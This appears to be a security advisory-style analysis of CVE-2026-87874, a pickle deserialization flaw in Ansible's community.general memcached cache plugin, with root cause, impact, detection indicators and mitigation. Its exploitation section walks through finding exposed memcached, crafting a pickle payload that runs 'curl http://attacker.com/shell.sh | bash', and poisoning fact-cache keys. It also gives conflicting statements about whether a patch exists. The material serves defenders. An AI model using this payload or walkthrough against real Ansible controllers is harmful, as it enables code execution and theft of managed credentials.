CVE-2026-87874: 
Ansible vulnerability analysis and mitigation

CVE-2026-87874 is a deserialization of untrusted data vulnerability (CWE-502) in the memcached cache plugin of the community.general Ansible collection. The plugin's documentation claims records are stored in JSON format, but it actually relies on python-memcached, which uses Python's pickle module to serialize and deserialize values. Because memcached is unauthenticated and cache keys are predictable, an attacker with network access to an exposed memcached instance can inject a malicious pickle payload that executes arbitrary code on the Ansible controller when the poisoned cache is read. The affected product is ansible-collection-community-general (all versions; specific patched version not yet listed). Disclosed on September 9, 2026, it carries a CVSS v3.1 base score of 8.1 (High) (Red Hat Advisory, Github Advisory).

The root cause is in plugins/cache/memcached.py of the community.general collection, which passes Ansible facts dictionaries directly to python-memcached without explicit serialization (CWE-502). The python-memcached library automatically pickles non-string/integer values using _FLAG_PICKLE and, when min_compress_len=1 is set, also compresses them — storing data with flags 9. On read, pickle.loads() is called on the retrieved data without any integrity or authenticity checks. The default cache key prefix is ansible_facts, making keys predictable, and since memcached has no built-in authentication, any attacker with network reach to the memcached instance can overwrite a cache entry with a crafted pickle payload that executes arbitrary code as the Ansible user on the next cache read (Red Hat Bugzilla, Red Hat Advisory).

Successful exploitation results in remote code execution on the Ansible controller with the privileges of the Ansible process user, yielding full confidentiality, integrity, and availability impact. An attacker can exfiltrate sensitive data managed by Ansible (credentials, inventory, secrets), modify automation workflows, or disrupt operations entirely. Because the Ansible controller typically has broad access to managed infrastructure, compromise of the controller can enable significant lateral movement across the entire managed environment (Red Hat Advisory, Github Advisory).

As of the disclosure date (September 9, 2026), there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Red Hat Advisory). The EPSS score is 0.0, and the NVD SSVC assessment classifies exploitation as "none" and automatable as "no," reflecting the requirement for a non-default, insecure deployment where memcached is exposed across a trust boundary. The vulnerability is not listed in the CISA KEV catalog. Exploitation requires the attacker to have network access to an unauthenticated, network-exposed memcached instance — a non-default configuration — which limits the practical attack surface (Github Advisory).

1. Reconnaissance: Identify Ansible controller deployments using the community.general memcached cache plugin with memcached exposed on the network (default port 11211). Use tools like Shodan, Censys, or Masscan to find open memcached instances.
2. Verify memcached access: Connect to the target memcached instance using a memcached client (e.g., telnet <target> 11211 or memcstat) to confirm unauthenticated access and enumerate stored keys.
3. Identify target cache key: The default cache key prefix used by the plugin is ansible_facts (configurable via _prefix in plugins/cache/memcached.py, lines 31/193-194). Enumerate keys to identify active fact-cache entries.
4. Craft malicious pickle payload: Create a Python pickle payload that executes arbitrary OS commands upon deserialization. Example using Python:

import pickle, os
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = pickle.dumps(Exploit())

5. Poison the cache: Write the crafted pickle payload to the target memcached key using the memcached set command, ensuring the flags byte matches what python-memcached expects (flag 9 for pickled+compressed, or 2 for pickled only).
6. Trigger deserialization: Wait for or trigger the Ansible controller to read from the fact cache (e.g., during the next playbook run that uses cached facts). The controller calls pickle.loads() on the poisoned entry, executing the attacker's payload as the Ansible user (Red Hat Bugzilla, Red Hat Advisory).

• Network: Unexpected inbound connections to memcached (TCP port 11211) from untrusted or external IP addresses; outbound connections from the Ansible controller to unknown external hosts following a playbook run.
• Logs: Ansible controller logs showing errors or unexpected behavior during fact cache reads; memcached access logs (if enabled) showing set commands from unexpected source IPs targeting ansible_facts-prefixed keys.
• Process: Unusual child processes spawned by the Ansible process (e.g., bash, sh, curl, wget, python) that are not part of normal playbook execution; unexpected network connections initiated by the Ansible user account.
• File System: Unexpected scripts, binaries, or cron jobs created under the Ansible user's home directory or /tmp; new SSH authorized keys added to the Ansible user's account.

Red Hat's primary mitigation is to bind memcached to localhost only (the plugin default: 127.0.0.1:11211) and never expose an unauthenticated memcached instance across a trust boundary. Administrators should switch to the redis cache plugin (which uses explicit JSON serialization via AnsibleJSONEncoder/AnsibleJSONDecoder) or use the jsonfile/yaml cache plugins when a shared or remote fact cache is required. Any host with write access to the fact-cache memcached instance should be treated as trusted to execute code on the controller. A patch for the community.general collection has been published (see GitHub Advisory GHSA-9xm7-6q66-g534); upgrade to the patched version when available in your environment (Red Hat Advisory, Github Advisory).

Red Hat noted in their advisory that this issue affects community-maintained content not shipped in Red Hat-supported execution environments for Ansible Automation Platform or RHEL AppStream, and that exploitation requires a non-default, insecure deployment. Red Hat credited Jeong Woochang for reporting the vulnerability. The GitHub Advisory Database has classified it as "Unreviewed" with no associated package fix version listed yet, reflecting the early stage of the disclosure (Red Hat Advisory, Github Advisory).